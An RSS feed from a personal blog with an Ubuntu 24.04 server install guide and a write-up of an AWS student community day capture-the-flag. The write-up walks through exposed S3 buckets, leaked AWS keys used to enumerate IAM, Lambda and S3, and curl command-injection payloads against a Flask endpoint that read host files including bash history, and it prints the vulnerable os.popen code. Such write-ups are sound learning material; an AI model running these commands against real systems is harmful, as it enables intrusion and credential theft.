<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[KK Blog]]></title><description><![CDATA[KK Blog]]></description><link>https://blog.kaushalkhatiwada.com.np</link><generator>RSS for Node</generator><lastBuildDate>Wed, 20 May 2026 04:11:01 GMT</lastBuildDate><atom:link href="https://blog.kaushalkhatiwada.com.np/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Installation of Ubuntu 24.04 LTS]]></title><description><![CDATA[Prerequisite
Download the Ubuntu 24.04 LTS ISO. Download
System Requirement

Processor: 2 GHz dual-core processor or better

Memory (RAM): 4 GB minimum (8 GB recommended for smoother performance)

Storage: 20 GB of free space (50 GB recommended for f...]]></description><link>https://blog.kaushalkhatiwada.com.np/installation-of-ubuntu</link><guid isPermaLink="true">https://blog.kaushalkhatiwada.com.np/installation-of-ubuntu</guid><category><![CDATA[Ubuntu]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[Kaushal Khatiwada]]></dc:creator><pubDate>Mon, 25 Nov 2024 16:13:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/4Mw7nkQDByk/upload/4d49a0c9ced4cc6b834ed894b3b1adee.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-prerequisite">Prerequisite</h3>
<p>Download the Ubuntu 24.04 LTS ISO. <a target="_blank" href="https://ubuntu.com/download/server/">Download</a></p>
<h3 id="heading-system-requirement">System Requirement</h3>
<ul>
<li><p><strong>Processor</strong>: 2 GHz dual-core processor or better</p>
</li>
<li><p><strong>Memory (RAM)</strong>: 4 GB minimum (8 GB recommended for smoother performance)</p>
</li>
<li><p><strong>Storage</strong>: 20 GB of free space (50 GB recommended for full installation)</p>
</li>
</ul>
<h3 id="heading-create-a-bootable-usb-drive">Create a Bootable USB Drive</h3>
<p>To install Ubuntu, you'll need to create a bootable USB drive using the ISO file.</p>
<h4 id="heading-on-windows">On Windows:</h4>
<ol>
<li><p>Download and install <a target="_blank" href="https://rufus.ie/">Rufus</a>.</p>
</li>
<li><p>Insert your USB drive and open Rufus.</p>
</li>
<li><p>Select the Ubuntu ISO file, set the partition scheme (GPT or MBR), and click <strong>Start</strong>.</p>
</li>
</ol>
<p>Boot from USB, and <strong>Try or Install Ubuntu</strong> from the GRUB menu</p>
<h3 id="heading-select-your-language"><strong>Select your language</strong></h3>
<p>Once the system has finished booting, select your preferred installation language. By default, this is set to English.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505461961/b35d4a6c-f2d6-442c-8d1b-b72687e69928.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-select-your-preferred-keyboard-layout"><strong>Select</strong> <strong>your preferred keyboard layout</strong></h3>
<p>Next, select your preferred layout. The default selection for the layout and variant is <strong>English (US)</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505473915/2a11218a-437a-47ca-b26c-945c66780c76.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-choose-installation-type"><strong>Choose Installation type</strong></h3>
<p>The next step will require you to select your preferred installation type. By default, the “<strong>Ubuntu Server</strong>” option is selected. In addition to that, you can also choose the “<strong>Ubuntu Server (“minimized”)</strong> option which is a version customized to have a small footprint in environments that do not require login by users.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505499761/dcafb561-ba94-498a-ade6-ff4f1e220fce.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-network-configuration"><strong>Network Configuration</strong></h3>
<p>In this step, you need to configure at least one active interface for network and internet connection. Active connections will be displayed with corresponding IPv4 addresses since DHCP is selected by default.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505514884/68cc7418-1cf4-4a7b-a784-c89767f7db5c.png" alt class="image--center mx-auto" /></p>
<p>In our setup, “<strong>ens33</strong>” is the only active network interface. Instead of DHCP, we can also configure a static IP address.</p>
<h3 id="heading-mirror-configuration"><strong>Mirror Configuration</strong></h3>
<p>The installer will perform a mirror test by updating the package index. The default mirror address is <a target="_blank" href="http://archive.ubuntu.com/ubuntu/"><strong>http://archive.ubuntu.com/ubuntu/</strong></a> which is just fine. You can also provide an alternative mirror instead of the default one.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505529223/af8f9e69-95cf-4511-9b29-1420c61a2195.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-configure-proxy"><strong>Configure Proxy</strong></h3>
<p>If you intend to connect to a Proxy server, here’s the chance to provide your Proxy server address. If you are not running a proxy server, leave it blank</p>
<h3 id="heading-disk-partitioning"><strong>Disk Partitioning</strong></h3>
<p>In this step, you will be required to configure disk partitions. By default, guided storage is selected. This auto-partitions your hard drive using the most recommended settings based on the size of your drive.</p>
<p>The other option – “<strong>Custom storage layout</strong>” – lets you manually specify the partitions including the partition type and size.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505540979/aee2c7c6-950d-4412-bcb7-f5cd80bad36e.png" alt class="image--center mx-auto" /></p>
<p>The partition table will be displayed next. If all looks good, select <code>Done</code> and hit <strong>ENTER</strong>. Otherwise, if you need to make some changes, select <code>Reset</code> and hit <strong>ENTER</strong> to head back and make the needed adjustment.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505553233/7ff4f619-166c-423b-a645-6d7923b632bd.png" alt class="image--center mx-auto" /></p>
<p>On the pop-up window that appears, select <code>Continue</code> and hit <strong>ENTER</strong> to write the changes to disk.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505573601/7a8d698e-e1f9-48d1-abc1-7b382d5ec85e.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-create-a-user-account"><strong>Create a User Account</strong></h3>
<p>Next, you will be required to create a user account. So, provide the required details including your name, the server’s name, username, and password, and hit <strong>ENTER</strong> to move to the next step.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505587081/f0061235-d0ca-450c-8931-a5d2ba0c2563.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-install-the-openssh-server-amp-additional-software"><strong>Install the OpenSSH server &amp; additional software</strong></h3>
<p>Next, select whether you want to install the OpenSSH server which will allow remote login to the server. In our case, we will select to install it.  Once selected, select <code>Done</code> and hit <strong>ENTER</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505597450/a10dcabd-f4e8-4aad-bf54-f69419050143.png" alt class="image--center mx-auto" /></p>
<p>Next, you will be required to select whether to install some featured applications in the form of snaps. So go through the list and enable your preferred snap. Alternatively, you can skip and install them later.</p>
<p>For now, we will not install snaps. So, select <code>Done</code> and hit <strong>ENTER</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505610760/fe5737b7-7788-4f68-9a44-031098d61002.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-finish-the-installation-and-reboot"><strong>Finish the Installation and Reboot</strong></h3>
<p>From here, the installer will copy all the files from the bootable medium, install them on your hard drive and configure all the required settings.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732505620308/e3f9a6de-f1bd-4131-9e16-c519997cf9a1.png" alt class="image--center mx-auto" /></p>
<p>Finally, select <code>Done</code> and hit <strong>ENTER</strong> to reboot.</p>
<p>Once the system has rebooted, provide your user account’s password and hit <strong>ENTER</strong> to log in.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732550203009/5c1f3c9f-ef75-48a6-8ef8-5f3d299f6de3.png" alt class="image--center mx-auto" /></p>
<p><strong>Congratulation</strong>!! you can enjoy your first Ubuntu server 24.04</p>
]]></content:encoded></item><item><title><![CDATA[AWS Student Community Day Nepal CTF Writeup]]></title><description><![CDATA[MISTAKEN IMAGE
This challenge involves finding out the ECR image which was mistakenly made public and exposed some doors over the internet.

Inputs: https://github.com/ajutamangdev/serverless

Hints: Public ECR Image



Navigate over Gallery of ECR i...]]></description><link>https://blog.kaushalkhatiwada.com.np/aws-student-community-day-nepal-ctf-writeup</link><guid isPermaLink="true">https://blog.kaushalkhatiwada.com.np/aws-student-community-day-nepal-ctf-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Cloud Computing]]></category><dc:creator><![CDATA[Kaushal Khatiwada]]></dc:creator><pubDate>Sat, 12 Oct 2024 05:23:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728710873139/e9bff503-5a70-4dc4-ae31-0add250ee806.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>MISTAKEN IMAGE</strong></p>
<p>This challenge involves finding out the ECR image which was mistakenly made public and exposed some doors over the internet.</p>
<ul>
<li><p><strong>Inputs</strong>: <a target="_blank" href="https://github.com/ajutamangdev/serverless">https://github.com/ajutamangdev/serverless</a></p>
</li>
<li><p><strong>Hints</strong>: Public ECR Image</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*S6H1TmjECrYuaJWnIt7f4A.png" alt /></p>
<p>Navigate over <a target="_blank" href="https://gallery.ecr.aws/">Gallery of ECR image</a>. Search out the <strong>r4s1p1w2/awscloudclubnepal</strong>.</p>
<p>Pulled the ECR image and ran the image as a container.</p>
<pre><code class="lang-plaintext">docker pull public.ecr.aws/r4s1p1w2/awscloudclubnepal:latest
</code></pre>
<pre><code class="lang-plaintext">sudo docker run -it public.ecr.aws/r4s1p1w2/awscloudclubnepal
/ # ls
bin    etc    home   media  opt    root   sbin   sys    usr
dev    flag   lib    mnt    proc   run    srv    tmp    var
/ # cd flag
/flag # ls
flag.txt
/flag # cat flag.txt 
CTF{nyLLUw66QXkETtij}
</code></pre>
<p><em>Flag:</em> <strong>CTF{nyLLUw66QXkETtij}</strong></p>
<p>Key Lessons</p>
<ul>
<li>Ensure ECR images are private unless there is a specific need for them to be public.</li>
</ul>
<h1 id="heading-pwned-the-bucket"><strong>PWNED THE BUCKET</strong></h1>
<p>This challenge involves identifying an S3 bucket, exploiting misconfiguration, and uncovering the useful data stored in an S3 bucket.</p>
<ul>
<li><p><strong>Input</strong>: ctf.csaju.com</p>
</li>
<li><p><strong>Hint</strong>: Use an S3 inspector tool like <a target="_blank" href="https://github.com/ajutamangdev/S3Khoj">S3Khoj</a> to find sensitive files in the public bucket.</p>
</li>
</ul>
<p>Use <strong><em>nslookup</em></strong> for further information gathering and check where <strong><em>ctf.csaju.com</em></strong> points to.</p>
<pre><code class="lang-plaintext">&gt; nslookup ctf.csaju.com
Server: 1.1.1.1
Address: 1.1.1.1#53

Non-authoritative answer:
ctf.csaju.com canonical name = awscommunitydayctf.s3.ap-south-1.amazonaws.com.
awscommunitydayctf.s3.ap-south-1.amazonaws.com canonical name = s3-r-w.ap-south-1.amazonaws.com.

Name: s3-r-w.ap-south-1.amazonaws.com
Address: 52.219.66.51
</code></pre>
<p>Browse and extract object from s3 bucket “<strong>awscommunitydayctf.s3.ap-south-1.amazonaws.com”</strong></p>
<p>check the <code>pdf/main.inc</code></p>
<p><em>Flag:</em> <strong>CTF{vZoF4sRjNxTVJXrI}</strong></p>
<p>Key Lessons</p>
<ul>
<li><p>Ensure the bucket’s permission is correctly set to prevent unauthorized access and public buckets should be avoided unless explicitly required.</p>
</li>
<li><p>Implement workflows to monitor changes in bucket configurations, ensuring any accidental exposure is detected and mitigated promptly.</p>
</li>
</ul>
<h1 id="heading-breached-the-db"><strong>BREACHED THE DB</strong></h1>
<p>This challenge involved the exposure of the database and led to several stuff.</p>
<ul>
<li><strong>Inputs</strong>: <a target="_blank" href="https://awscloudclubnepal.com/">https://awscloudclubnepal.com</a></li>
</ul>
<p>Fuzz out the URL and you will be able to perform GET over <code>url/.secrets/backup.db</code></p>
<pre><code class="lang-plaintext">curl https://awscloudclubnepal.com/.secrets/backup.db
</code></pre>
<p>Once you have downloaded the file. Import the backup.db using sqlite3.</p>
<pre><code class="lang-plaintext">sqlite3 backup.db
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*cgWKt6O3SEJMbSychWWsSg.png" alt /></p>
<p>You can export those credentials on a custom AWS profile or override your default profile.</p>
<pre><code class="lang-plaintext">aws --region us-east-1 --profile custom-profile dynamodb scan --table-name awscloudclubnepal
</code></pre>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*vzaFfOyPJaq4fej-.png" alt /></p>
<p><em>Flag:</em> <strong>CTF{rMACjkeAqN9pFOAo}</strong></p>
<h1 id="heading-serverless"><strong>SERVERLESS</strong></h1>
<p>This challenge is about the enumeration of serverless function apps.</p>
<ul>
<li><strong>Input</strong>: <a target="_blank" href="https://github.com/ajutamangdev/serverless">https://github.com/ajutamangdev/serverless</a></li>
</ul>
<p>Let’s export noted credentials in our default profile or custom one which was exposed by the developer accidentally over <strong>commit</strong> messages.</p>
<pre><code class="lang-plaintext">aws lambda list-functions --region ap-south-1
{
 "Functions": [
 {
 "FunctionName": "EnvBreaches",
 "FunctionArn": "arn:aws:lambda:ap-south-1:288761734723:function:EnvBreaches",
 "Runtime": "python3.10",
 "Role": "arn:aws:iam::288761734723:role/service-role/EnvBreaches-role-9b68sucr",
 "Handler": "lambda_function.lambda_handler",
 "CodeSize": 420,
 "Description": "A starter AWS Lambda function.",
 "Timeout": 3,
 "MemorySize": 128,
 "LastModified": "2024-09-24T11:26:41.000+0000",
 "CodeSha256": "v1xwIoDXIUeuD0DlTfWkCCHYaQpg/RAtlvvfc1IfpV4=",
 "Version": "$LATEST",
 "Environment": {
 "Variables": {
 "SECRET_KEY": "CTF{wow_congrats}"
 }
 },
 "TracingConfig": {
 "Mode": "PassThrough"
 },
</code></pre>
<p><em>Flag:</em> <strong>CTF{wow_congrats}</strong></p>
<p>Key Lessons</p>
<ul>
<li><p>Review git logs regularly to ensure sensitive information hasn’t been accidentally pushed.</p>
</li>
<li><p>Pre-commit hooks to scan for sensitive information before the developer commits to the repository.</p>
</li>
</ul>
<h1 id="heading-balti"><strong>BALTI</strong></h1>
<p>This challenge is about reverse engineering and finding out the flag one.</p>
<ul>
<li><p><strong>Input</strong>: Reverse engineer the provided APK file and find the flag.</p>
</li>
<li><p><strong>Hint</strong>: Name of the challenge and access through it</p>
</li>
</ul>
<p>Use Android RE tools like apktool or jadx to decompile apk files. Using jadx you can able to see hardcoded AWS credentials on the codebase. AWS credentials allow you to authenticate and interact with AWS services.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*6Q3cE79Fk4MnrJKL.png" alt /></p>
<p>Let’s export those credentials first and perform some enumeration.</p>
<pre><code class="lang-plaintext">aws sts get-caller-identity
{
 "UserId": "AIDAUGO4KMZB4PGSYXVZZ",
 "Account": "288761734723",
 "Arn": "arn:aws:iam::288761734723:user/mobile"
}
</code></pre>
<p>Next will be listing out the IAM policies attached to the user account[mobile]. We can see that user has S3 and IAM policy resources.</p>
<pre><code class="lang-plaintext">aws iam list-attached-user-policies --user-name mobile
{
 "AttachedPolicies": [
 {
 "PolicyName": "oggy_bhai",
 "PolicyArn": "arn:aws:iam::288761734723:policy/oggy_bhai"
 },
 {
 "PolicyName": "IAMReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
 }
 ]
}
</code></pre>
<p>Let’s examine the permission of <strong>oggy_bhai</strong> policy. This policy grants read access to specific S3 buckets.</p>
<pre><code class="lang-plaintext">aws iam get-policy-version --policy-arn arn:aws:iam::288761734723:policy/oggy_bhai --version-id v11
 {
 "PolicyVersion": {
 "Document": {
 "Version": "2012-10-17",
 "Statement": [
 {
 "Sid": "AllowSpecificBucketActions",
 "Effect": "Allow",
 "Action": [
 "s3:GetObject",
 "s3:ListBucket"
 ],
 "Resource": [
 "arn:aws:s3:::oggyandcockroachesbucket",
 "arn:aws:s3:::oggyandcockroachesbucket/*"
 ]
 },
 {
 "Sid": "AllowIAMPolicyReadAccess",
 "Effect": "Allow",
 "Action": [
 "iam:GetPolicy",
 "iam:GetPolicyVersion"
 ],
 "Resource": "arn:aws:iam::288761734723:policy/oggy_bhai"
 }
 ]
 },
 "VersionId": "v11",
 "IsDefaultVersion": true,
 "CreateDate": "2024-09-27T11:11:45+00:00"
 }
}
</code></pre>
<p>Since the policy allows access to the <strong>oggyandcockraochesbucket</strong> bucket, let’s list the contents and sync them locally.</p>
<pre><code class="lang-plaintext">aws s3 ls s3://oggyandcockroachesbucket
oggy.txt
aws s3 sync s3://oggyandcockroachesbucket .
download: s3://oggyandcockroachesbucket/oggy.txt to ./oggy.txt
cat oggy.txt
tLgxjcbrlmkAoYdR
</code></pre>
<p><em>Flag:</em> <strong>CTF{tLgxjcbrlmkAoYdR}</strong></p>
<p>Key Lessons</p>
<ul>
<li><p>Avoid hardcoding sensitive credentials in your application codebase.</p>
</li>
<li><p>Always follow the principle of least privilege. Over-permissive policies can lead to serious security breaches.</p>
</li>
</ul>
<h1 id="heading-escape-your-vessel"><strong>ESCAPE YOUR VESSEL</strong></h1>
<p>This challenge was around discovering the hidden endpoints on a web server running inside the container and having container privilege escalation vulnerability.</p>
<ul>
<li><p><strong>Input</strong>: 13.234.195.12</p>
</li>
<li><p><strong>Hint</strong>: Check over Docker privilege escalation</p>
</li>
</ul>
<p>To begin, let’s fuzz the input URL for hidden endpoints. I used ffuf to identify hidden endpoints with my custom directory wordlist.</p>
<pre><code class="lang-plaintext">ffuf -w common.txt -u http://13.234.195.12/FUZZ
</code></pre>
<pre><code class="lang-plaintext"> /'___\  /'___\           /'___\       
 /\ \__/ /\ \__/  __  __  /\ \__/       
 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
 \ \_\   \ \_\  \ \____/  \ \_\       
 \/_/    \/_/   \/___/    \/_/        v2.1.0-dev
________________________________________________ :: Method           : GET
 :: URL              : http://13.234.195.12/FUZZ
 :: Wordlist         : FUZZ: /home/Documents/ctf/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________hi                      [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 52ms]
health                  [Status: 200, Size: 10, Words: 3, Lines: 1, Duration: 67ms]
:: Progress: [4734/4734] :: Job [1/1] :: 283 req/sec :: Duration: [0:00:17] :: Errors: 0 ::
Copy
</code></pre>
<p>wordlist: <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt">https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt</a></p>
<p>From this, we discovered two endpoints</p>
<ul>
<li><p>/hi</p>
</li>
<li><p>Accept POST requests</p>
</li>
<li><p>/health</p>
</li>
<li><p>Accept GET request that returned a simple health check-update</p>
</li>
</ul>
<p>We then tested the endpoint by sending a POST request with a simple command injection payload.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=ls'
Dockerfile
app.py
</code></pre>
<p>The endpoint was vulnerable to command injection which allows us to execute system commands. Let’s investigate the source code to understand how it works.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
</code></pre>
<pre><code class="lang-plaintext">FROM python:3.9-slimWORKDIR /appCOPY . /appRUN pip install flaskEXPOSE 80CMD ["python", "app.py"]
</code></pre>
<p>Dockerfile revealed that app was running a flask server.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=cat Dockerfile'
</code></pre>
<pre><code class="lang-plaintext">from flask import Flask, requestimport osapp = Flask(__name__)@app.route('/')
def home():
 return 'Welcome to AWS Student Community Day'@app.route('/health')
def health():
 return 'Site is up'
@app.route('/hi', methods=['POST'])
def execute():
 command = request.form.get('command')
 result = os.popen(command).read()
 return resultif __name__ == '__main__':
 app.run(host='0.0.0.0', port=80)
</code></pre>
<p>From here, the <strong>execute()</strong> function in <strong>/hi</strong> endpoint allowed commands to be executed on the underlying system. During further investigation, the container had access to the host’s file system. The host directory was mapped to the root of the host machine. Let’s confirm.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=df -h'
Filesystem      Size  Used Avail Use% Mounted on
overlay         6.8G  3.2G  3.6G  47% /
tmpfs            64M     0   64M   0% /dev
shm              64M     0   64M   0% /dev/shm
/dev/root       6.8G  3.2G  3.6G  47% /host
devtmpfs        2.0G     0  2.0G   0% /host/dev
tmpfs           2.0G     0  2.0G   0% /host/dev/shm
tmpfs           783M 1004K  782M   1% /host/run
tmpfs           5.0M     0  5.0M   0% /host/run/lock
/dev/loop1       26M   26M     0 100% /host/snap/amazon-ssm-agent/7993
/dev/loop0       56M   56M     0 100% /host/snap/core18/2829
/dev/loop2       39M   39M     0 100% /host/snap/snapd/21759
/dev/xvda16     881M  133M  687M  17% /host/boot
/dev/xvda15     105M  6.1M   99M   6% /host/boot/efi
/dev/loop3       56M   56M     0 100% /host/snap/core18/2846
/dev/loop4       75M   75M     0 100% /host/snap/core22/1621
/dev/loop5       26M   26M     0 100% /host/snap/amazon-ssm-agent/9565
</code></pre>
<p>Let’s inspect the bash history of the host’s user so we can retire content from files.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=cat /host/home/ubuntu/.bash_history'
</code></pre>
<p>Based on bash_history, recent changes were at /var/log directory and some files. Let’s retrieve content there.</p>
<pre><code class="lang-plaintext">curl -X POST http://13.234.195.12/hi -d 'command=cat /host/var/log/flag.txt'
</code></pre>
<p><em>Flag:</em> <strong>CTF{PC1RVV1ZA2OI5AP}</strong></p>
<p>Key Lessons</p>
<ul>
<li><p>Always sanitize user inputs to prevent attackers from executing arbitrary commands.</p>
</li>
<li><p>Ensure your container doesn’t have unnecessary access to the host file system.</p>
</li>
</ul>
<h1 id="heading-exposed-volume"><strong>EXPOSED VOLUME</strong></h1>
<p>This challenge was about exploiting a public snapshot of the volume.</p>
<ul>
<li><p><strong>Input</strong> : <a target="_blank" href="https://awscloudclubnepal.com/">https://awscloudclubnepal.com</a></p>
</li>
<li><p><strong>Hint</strong> : Check out the robots.txt</p>
</li>
</ul>
<p>Let’s dive into <strong>robots.txt</strong> of <strong>awscloudclubnepal.com</strong> The content of the robots.txt file revealed a snapshot.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*saymy_vkBSyqWL9O.png" alt /></p>
<p>Let’s confirm whether the snapshot is public or not. A developer might accidently make the snapshot public leading to more exposure to their environment.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*OLxk5NZoyQf1sfjC.png" alt /></p>
<p>Let’s mount the snapshot to our instance to explore the contents of the volume. You should provision out the instances initially.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*-UemxxrSNK-csq31.png" alt /></p>
<p>You have options to create the volume or release the image. Create a new volume from the snapshot.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*ZY2zAm6UyK6z2m8v.png" alt /></p>
<p>Attached it to a running healthy instance.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*_TXBkVBBcxhcDA0O.png" alt /></p>
<p>Mount it to the file system and explore the content of the file of the snapshot’s volume.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/0*iWguuCSqnB4NBJ3T.png" alt /></p>
<p><em>Flag:</em> <strong>CTF{LaYwf9G121YxnjKY}</strong></p>
<p>Key Lessons</p>
<ul>
<li><p>Ensure that snapshots in AWS are not publicly accessible unless intended.</p>
</li>
<li><p>Regularly audit your cloud environment for misconfiguration like public snapshots.</p>
</li>
</ul>
<p><strong><em>Reference</em></strong></p>
<p><a target="_blank" href="https://csaju.com/posts/aws-student-community-day-nepal-ctf-writeup/">AWS Student Community Day Nepal CTF Writeup | CSaju</a></p>
]]></content:encoded></item></channel></rss>